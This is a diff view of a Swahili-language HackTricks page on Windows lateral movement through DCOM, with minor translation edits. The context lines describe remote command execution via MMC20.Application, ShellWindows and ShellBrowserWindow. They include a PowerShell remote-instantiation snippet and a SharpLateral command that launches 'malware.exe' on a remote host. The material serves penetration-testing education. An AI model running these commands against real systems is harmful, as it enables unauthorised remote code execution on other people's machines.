|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -29,9 +29,9 @@ Modeli ya Vitu vya Mfano wa Vitengo vilivyosambazwa (DCOM) inatoa uwezo wa kuvut
|
|||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inawezesha uandishi wa hatua za MMC snap-in kwa kutumia script. Kwa umuhimu, kipengele hiki kina njia ya `ExecuteShellCommand` chini ya `Document.ActiveView`. Taarifa zaidi kuhusu njia hii inaweza kupatikana [hapa](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Angalia ikifanya kazi:
|
||||
COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inawezesha uandishi wa hatua za MMC snap-in kwa kutumia script. Kwa umuhimu, hii object ina `ExecuteShellCommand` method chini ya `Document.ActiveView`. Taarifa zaidi kuhusu method hii zinapatikana [hapa](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Angalia ikifanya kazi:
|
||||
|
||||
Kipengele hiki kinawezesha utekelezaji wa amri kupitia mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kijijini kama msimamizi, PowerShell inaweza kutumika kama ifuatavyo:
|
||||
Hii kipengele inarahisisha utekelezaji wa amri kupitia mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kijijini kama admin, PowerShell inaweza kutumika kama ifuatavyo:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
|
@ -60,7 +60,7 @@ Kitu cha **MMC20.Application** kiligunduliwa kukosa "LaunchPermissions" wazi, ki
|
|||
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilionyeshwa kutokana na kukosa kwa Ruhusa wazi ya Kuzindua. Kutokuwepo kwa kuingia kwa usajili wa `LaunchPermission` chini ya `HKCR:\AppID\{guid}` inaashiria kukosekana kwa ruhusa wazi.
|
||||
|
||||
### ShellWindows
|
||||
Kwa `ShellWindows`, ambayo haina ProgID, njia za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` hurahisisha kuunda vitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kuchukua CLSID kwa `ShellWindows`. Mara baada ya kuundwa, mwingiliano unawezekana kupitia njia ya `WindowsShell.Item`, ikiongoza kwa wito wa njia kama `Document.Application.ShellExecute`.
|
||||
Kwa `ShellWindows`, ambayo haina ProgID, njia za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` hurahisisha kuunda vitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID kwa `ShellWindows`. Mara baada ya kuundwa, mwingiliano unawezekana kupitia njia ya `WindowsShell.Item`, ikiongoza kwa wito wa njia kama `Document.Application.ShellExecute`.
|
||||
|
||||
Amri za PowerShell za mfano zilitolewa kuunda kipengee na kutekeleza amri kijijini:
|
||||
```powershell
|
||||
|
@ -120,7 +120,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -132,7 +132,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
|
|
Loading…
Reference in a new issue